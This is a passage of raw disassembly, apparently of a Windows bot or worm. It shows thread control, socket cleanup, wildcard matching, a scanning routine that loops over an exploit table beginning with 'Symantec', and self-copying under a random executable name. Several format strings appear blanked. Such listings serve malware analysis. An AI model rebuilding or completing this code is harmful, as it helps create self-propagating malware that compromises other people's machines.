mov dword ptr [eax+94h], 1
lea eax, [ebp+Str]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_40B813
push [ebp+var_14]
call sub_40BA72
add esp, 14h
push 0
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_40B7C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B813(int,char *Str,int,int)
sub_40B813 proc near ; CODE XREF: sub_40B7C1+38p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset dword_44819C ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
xor edi, edi
mov esi, offset dword_455E18
loc_40B83D: ; CODE XREF: sub_40B813+78j
cmp byte ptr [esi], 0
jz short loc_40B87E
cmp [ebp+arg_C], 0
jnz short loc_40B851
cmp dword ptr [esi+204h], 0
jnz short loc_40B87E
loc_40B851: ; CODE XREF: sub_40B813+33j
push esi
push edi
lea eax, [ebp+Dest]
push offset aD_S_0 ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 24h
loc_40B87E: ; CODE XREF: sub_40B813+2Dj
; sub_40B813+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4E2E18
jl short loc_40B83D
pop edi
pop esi
leave
retn
sub_40B813 endp
; =============== S U B R O U T I N E =======================================
sub_40B891 proc near ; CODE XREF: sub_401CC7+7C6Cp
; sub_40B91F+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B919
cmp esi, 400h
jge short loc_40B919
imul esi, 234h
push edi
push ebx
push dword_45602C[esi]
lea edi, dword_45602C[esi]
call ds:dword_4F5380 ; TerminateThread
cmp [edi], ebx
jz short loc_40B8C9
push 1
pop ebp
loc_40B8C9: ; CODE XREF: sub_40B891+33j
mov [edi], ebx
lea edi, dword_456020[esi]
mov dword_456018[esi], ebx
mov dword_45601C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B8EA
push eax
call sub_41A8AA
pop ecx
loc_40B8EA: ; CODE XREF: sub_40B891+50j
mov [edi], ebx
lea edi, dword_456024[esi]
mov byte ptr dword_455E18[esi], bl
mov byte_456030[esi], bl
push dword ptr [edi]
call dword_4E3190 ; closesocket
lea esi, dword_456028[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4E3190 ; closesocket
mov [esi], ebx
pop edi
loc_40B919: ; CODE XREF: sub_40B891+Dj
; sub_40B891+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B891 endp
; =============== S U B R O U T I N E =======================================
sub_40B91F proc near ; CODE XREF: sub_401317+18p
; WinMain(x,x,x,x):loc_4019D3p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_455E18
loc_40B92B: ; CODE XREF: sub_40B91F+2Aj
cmp byte ptr [esi], 0
jz short loc_40B93C
push edi
call sub_40B891
test eax, eax
pop ecx
jz short loc_40B93C
inc ebx
loc_40B93C: ; CODE XREF: sub_40B91F+Fj
; sub_40B91F+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4E2E18
jl short loc_40B92B
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B91F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B951 proc near ; CODE XREF: sub_401CC7+4188p
; sub_401CC7+42DAp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_45601C
loc_40B965: ; CODE XREF: sub_40B951+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B987
test edi, edi
jle short loc_40B979
cmp [esi], edi
jz short loc_40B979
cmp ebx, edi
jnz short loc_40B987
loc_40B979: ; CODE XREF: sub_40B951+1Ej
; sub_40B951+22j
push ebx
call sub_40B891
test eax, eax
pop ecx
jz short loc_40B987
inc [ebp+var_4]
loc_40B987: ; CODE XREF: sub_40B951+1Aj
; sub_40B951+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4E301C
jl short loc_40B965
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B951 endp
; =============== S U B R O U T I N E =======================================
sub_40B99E proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp
; sub_401CC7+962p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_456018
loc_40B9A5: ; CODE XREF: sub_40B99E+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B9AE
inc eax
loc_40B9AE: ; CODE XREF: sub_40B99E+Dj
add ecx, 234h
cmp ecx, offset dword_4E3018
jl short loc_40B9A5
retn
sub_40B99E endp
; =============== S U B R O U T I N E =======================================
sub_40B9BD proc near ; CODE XREF: sub_401CC7+2424p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_456018
loc_40B9C7: ; CODE XREF: sub_40B9BD+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B9E0
add ecx, 234h
inc edx
cmp ecx, offset dword_4E3018
jl short loc_40B9C7
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B9E0: ; CODE XREF: sub_40B9BD+10j
mov eax, edx
pop esi
retn
sub_40B9BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B9E4(int,int,int,int,int,int,int,char *Str)
sub_40B9E4 proc near ; CODE XREF: sub_401CC7+1057p
; sub_401CC7+125Dp ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
Str = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+Str], eax
jz short loc_40B9FD
push [ebp+Str] ; Str
call _atoi
pop ecx
loc_40B9FD: ; CODE XREF: sub_40B9E4+Ej
push eax
push [ebp+arg_18]
call sub_40B951
pop ecx
test eax, eax
pop ecx
jle short loc_40BA29
push eax
lea eax, [ebp+Dest]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_40BA43
; ---------------------------------------------------------------------------
loc_40BA29: ; CODE XREF: sub_40B9E4+26j
push [ebp+arg_14]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax ; Dest
call _sprintf
add esp, 10h
loc_40BA43: ; CODE XREF: sub_40B9E4+43j
cmp [ebp+arg_C], 0
jnz short loc_40BA63
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_40BA63: ; CODE XREF: sub_40B9E4+63j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
leave
retn
sub_40B9E4 endp
; =============== S U B R O U T I N E =======================================
sub_40BA72 proc near ; CODE XREF: sub_4019E7+159p
; sub_40B7C1+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_45602C[eax], ecx
mov dword_456018[eax], ecx
mov dword_45601C[eax], ecx
mov dword_456020[eax], ecx
mov dword_456024[eax], ecx
mov dword_456028[eax], ecx
mov byte ptr dword_455E18[eax], cl
mov byte_456030[eax], cl
retn
sub_40BA72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BAAF proc near ; CODE XREF: sub_401CC7+7F03p
; sub_40BBDD+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40BAB9: ; CODE XREF: sub_40BAAF+68j
mov cl, [esi]
test cl, cl
jz short loc_40BB19
cmp eax, 1
jnz short loc_40BB19
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40BB19
cmp cl, 2Ah
jz short loc_40BB00
cmp cl, 3Fh
jz short loc_40BAE3
cmp cl, 5Bh
jz short loc_40BAE8
xor eax, eax
cmp cl, dl
setz al
loc_40BAE3: ; CODE XREF: sub_40BAAF+26j
inc [ebp+arg_4]
jmp short loc_40BB13
; ---------------------------------------------------------------------------
loc_40BAE8: ; CODE XREF: sub_40BAAF+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40BB45
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40BB13
; ---------------------------------------------------------------------------
loc_40BB00: ; CODE XREF: sub_40BAAF+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40BBDD
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40BB13: ; CODE XREF: sub_40BAAF+37j
; sub_40BAAF+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40BAB9
; ---------------------------------------------------------------------------
loc_40BB19: ; CODE XREF: sub_40BAAF+Ej
; sub_40BAAF+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40BB29
cmp eax, 1
jnz short loc_40BB40
inc esi
mov [ebp+arg_0], esi
jmp short loc_40BB19
; ---------------------------------------------------------------------------
loc_40BB29: ; CODE XREF: sub_40BAAF+6Dj
cmp eax, 1
jnz short loc_40BB40
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40BB40
cmp byte ptr [esi], 0
jnz short loc_40BB40
push 1
pop eax
jmp short loc_40BB42
; ---------------------------------------------------------------------------
loc_40BB40: ; CODE XREF: sub_40BAAF+72j
; sub_40BAAF+7Dj ...
xor eax, eax
loc_40BB42: ; CODE XREF: sub_40BAAF+8Fj
pop esi
pop ebp
retn
sub_40BAAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB45 proc near ; CODE XREF: sub_40BAAF+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40BB66
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40BB66: ; CODE XREF: sub_40BB45+19j
push ebx
push esi
loc_40BB68: ; CODE XREF: sub_40BB45+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40BB76
cmp [ebp+var_4], eax
jnz short loc_40BBC2
loc_40BB76: ; CODE XREF: sub_40BB45+2Aj
test edi, edi
jnz short loc_40BBB7
cmp bl, 2Dh
jnz short loc_40BBAB
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40BBAB
cmp al, 5Dh
jz short loc_40BBAB
cmp [ebp+var_4], edi
jnz short loc_40BBAB
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40BBB7
cmp bl, al
jg short loc_40BBB7
push 1
mov [edx], esi
pop edi
jmp short loc_40BBB7
; ---------------------------------------------------------------------------
loc_40BBAB: ; CODE XREF: sub_40BB45+38j
; sub_40BB45+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40BBB7
push 1
pop edi
loc_40BBB7: ; CODE XREF: sub_40BB45+33j
; sub_40BB45+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40BB68
; ---------------------------------------------------------------------------
loc_40BBC2: ; CODE XREF: sub_40BB45+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40BBCF
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40BBCF: ; CODE XREF: sub_40BB45+82j
cmp edi, eax
jnz short loc_40BBD8
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40BBD8: ; CODE XREF: sub_40BB45+8Cj
mov eax, edi
pop edi
leave
retn
sub_40BB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBDD proc near ; CODE XREF: sub_40BAAF+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40BBF9: ; CODE XREF: sub_40BBDD+3Aj
cmp [eax], bl
jz short loc_40BC19
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40BC0E
cmp cl, 2Ah
jnz short loc_40BC19
cmp cl, 3Fh
jnz short loc_40BC11
loc_40BC0E: ; CODE XREF: sub_40BBDD+25j
inc eax
mov [edi], eax
loc_40BC11: ; CODE XREF: sub_40BBDD+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40BBF9
; ---------------------------------------------------------------------------
loc_40BC19: ; CODE XREF: sub_40BBDD+1Ej
; sub_40BBDD+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40BC24
inc dword ptr [esi]
jmp short loc_40BC19
; ---------------------------------------------------------------------------
loc_40BC24: ; CODE XREF: sub_40BBDD+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40BC45
mov edx, [esi]
cmp [edx], bl
jz short loc_40BC36
xor eax, eax
jmp short loc_40BCA5
; ---------------------------------------------------------------------------
loc_40BC36: ; CODE XREF: sub_40BBDD+53j
cmp cl, bl
jnz short loc_40BC45
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40BC45
push 1
pop eax
jmp short loc_40BCA5
; ---------------------------------------------------------------------------
loc_40BC45: ; CODE XREF: sub_40BBDD+4Dj
; sub_40BBDD+5Bj ...
push eax
push dword ptr [esi]
call sub_40BAAF
pop ecx
test eax, eax
pop ecx
jnz short loc_40BC8F
loc_40BC53: ; CODE XREF: sub_40BBDD+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40BC57: ; CODE XREF: sub_40BBDD+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40BC6F
cmp cl, 5Bh
jz short loc_40BC6F
cmp dl, bl
jz short loc_40BC6F
inc eax
mov [edi], eax
jmp short loc_40BC57
; ---------------------------------------------------------------------------
loc_40BC6F: ; CODE XREF: sub_40BBDD+82j
; sub_40BBDD+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40BC86
push eax
push dword ptr [esi]
call sub_40BAAF
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40BC8B
; ---------------------------------------------------------------------------
loc_40BC86: ; CODE XREF: sub_40BBDD+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40BC8B: ; CODE XREF: sub_40BBDD+A7j
cmp eax, ebx
jnz short loc_40BC53
loc_40BC8F: ; CODE XREF: sub_40BBDD+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40BCA2
mov eax, [esi]
cmp [eax], bl
jnz short loc_40BCA2
mov [ebp+var_4], 1
loc_40BCA2: ; CODE XREF: sub_40BBDD+B6j
; sub_40BBDD+BCj
mov eax, [ebp+var_4]
loc_40BCA5: ; CODE XREF: sub_40BBDD+57j
; sub_40BBDD+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40BBDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BCAA(int,char *Str,int)
sub_40BCAA proc near ; CODE XREF: sub_401CC7+2AE6p
Source = byte ptr -400h
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+Dest]
push offset asc_4485BC ; "-"
push eax ; Dest
xor ebx, ebx
call _sprintf
cmp dword_448220, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40BD1C
push esi
mov esi, offset dword_448228
loc_40BCDD: ; CODE XREF: sub_40BCAA+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40BD12
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+Source]
push offset asc_4485DC ; " "
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esp, 1Ch
loc_40BD12: ; CODE XREF: sub_40BCAA+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40BCDD
pop esi
loc_40BD1C: ; CODE XREF: sub_40BCAA+2Bj
push dword_4E2E1C
call sub_41B76F
pop ecx
push eax
push ebx
lea eax, [ebp+Source]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40BCAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BD79(int,char *Str,int)
sub_40BD79 proc near ; CODE XREF: sub_401CC7+2AD0p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4E5C18
mov ecx, dword_4E5C14
push esi
push dword_4E2E1C
lea esi, [ecx+eax]
call sub_41B76F
pop ecx
push eax
push esi
push dword_4E5C18
lea eax, [ebp+Dest]
push dword_4E5C14
push offset asc_4485FC ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 30h
pop esi
leave
retn
sub_40BD79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BDE5(int,char *Str,int)
sub_40BDE5 proc near ; CODE XREF: sub_401CC7+2ABAp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4E2E1C
call sub_41B76F
pop ecx
push eax
lea eax, [ebp+Dest]
push dword_4E5E74
push offset asc_448644 ; "-"
push eax ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 28h
leave
retn
sub_40BDE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40BE3A(int,char *Str,int)
sub_40BE3A proc near ; CODE XREF: sub_401CC7+2AA4p
Source = byte ptr -1000h
Dest = byte ptr -800h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call __alloca_probe
push edi
lea eax, [ebp+Dest]
push offset asc_448670 ; "-"
push eax ; Dest
call _sprintf
cmp dword_448220, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40BEA6
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40BE6F: ; CODE XREF: sub_40BE3A+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+Source]
push offset asc_44868C ; " "
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40BE6F
pop esi
loc_40BEA6: ; CODE XREF: sub_40BE3A+2Dj
push dword_4E2E1C
call sub_41B76F
pop ecx
push eax
lea eax, [ebp+Source]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push edi ; Count
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncat
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 30h
pop edi
leave
retn
sub_40BE3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BF01 proc near ; DATA XREF: sub_401CC7+30DAo
Dest = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
Format = byte ptr -134h
Str = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+Format]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+Format]
push eax
call dword_4E3138 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_448220, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40C063
mov ebx, offset dword_448220
mov eax, ebx
loc_40BF52: ; CODE XREF: sub_40BF01+15Cj
push [ebp+var_1C]
push dword ptr [eax]
push [ebp+var_8]
call sub_40C6E7
add esp, 0Ch
cmp eax, 1
jnz loc_40C053
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp+Format]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp+Dest]
push offset asc_4486AC ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_24] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 2Ch
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+var_1EC]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_15C]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_A4], 0
pop ecx
pop ecx
lea eax, [ebp+var_A4]
jnz short loc_40BFEE
lea eax, [ebp+Str]
loc_40BFEE: ; CODE XREF: sub_40BF01+E5j
push eax ; Format
lea eax, [ebp+var_1DC]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40C053: ; CODE XREF: sub_40BF01+64j
inc [ebp+arg_0]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40BF52
loc_40C063: ; CODE XREF: sub_40BF01+44j
push [ebp+var_4]
lea eax, [ebp+Format]
push eax
lea eax, [ebp+Dest]
push offset asc_4486DC ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_24] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_18]
call sub_40BA72
add esp, 2Ch
push edi
call ds:dword_4F53A0 ; ExitThread
sub_40BF01 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C0B6(int,char *Str,int,int)
sub_40C0B6 proc near ; CODE XREF: sub_401CC7+243Fp
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B99E
test eax, eax
pop ecx
jle short loc_40C0F2
mov eax, [ebp+arg_C]
push dword_4E3258[eax*8]
call dword_4E3184 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_448710 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40C105
; ---------------------------------------------------------------------------
loc_40C0F2: ; CODE XREF: sub_40C0B6+13j
lea eax, [ebp+Dest]
push offset asc_44872C ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40C105: ; CODE XREF: sub_40C0B6+3Aj
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 18h
leave
retn
sub_40C0B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40C12D(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_40C12D proc near ; CODE XREF: sub_40CB69+4Fp
var_210 = dword ptr -210h
Source = byte ptr -204h
var_4 = byte ptr -4
Format = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40C5FF
shl eax, 6
xor ebx, ebx
cmp dword_44822C[eax], ebx
jz loc_40C5FF
push 5
call sub_40B99E
test eax, eax
pop ecx
jnz loc_40C3B4
mov eax, dword_43F078
push edi
mov esi, offset dword_4E5314
push 104h
push esi
push ebx
mov dword_4E5524, eax
mov dword_4E5520, ebx
call ds:dword_4F5344 ; GetModuleFileNameA
mov edi, offset Str ; "nlzhxmpyrjsyle.exe"
push 103h ; Count
push edi ; Source
push offset byte_4E5418 ; Dest
call _strncpy
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4E5310, eax
mov eax, [ebp+arg_138]
push 7Fh ; Count
mov dword_4E55A8, eax
jnz short loc_40C1E0
lea eax, [ebp+Format]
push eax ; Source
push offset byte_4E5528 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4E55AC, 1
jmp short loc_40C1FA
; ---------------------------------------------------------------------------
loc_40C1E0: ; CODE XREF: sub_40C12D+94j
lea eax, [ebp+arg_90]
push eax ; Source
push offset byte_4E5528 ; Dest
call _strncpy
add esp, 0Ch
mov dword_4E55AC, ebx
loc_40C1FA: ; CODE XREF: sub_40C12D+B1j
push esi
lea eax, [ebp+Source]
push dword_4E5524
push offset asc_44874C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 5 ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov dword_4E551C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4E5310
push offset sub_412217
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, dword_4E551C
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40C268
loc_40C256: ; CODE XREF: sub_40C12D+139j
cmp dword_4E55B0, ebx
jnz short loc_40C283
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_40C256
; ---------------------------------------------------------------------------
loc_40C268: ; CODE XREF: sub_40C12D+127j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_448780 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C283: ; CODE XREF: sub_40C12D+12Fj
lea eax, [ebp+Source]
push eax
call sub_415C3F
mov eax, dword_4E2E18
mov esi, offset dword_4E55BC
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4E57CC, eax
mov dword_4E57C8, ebx
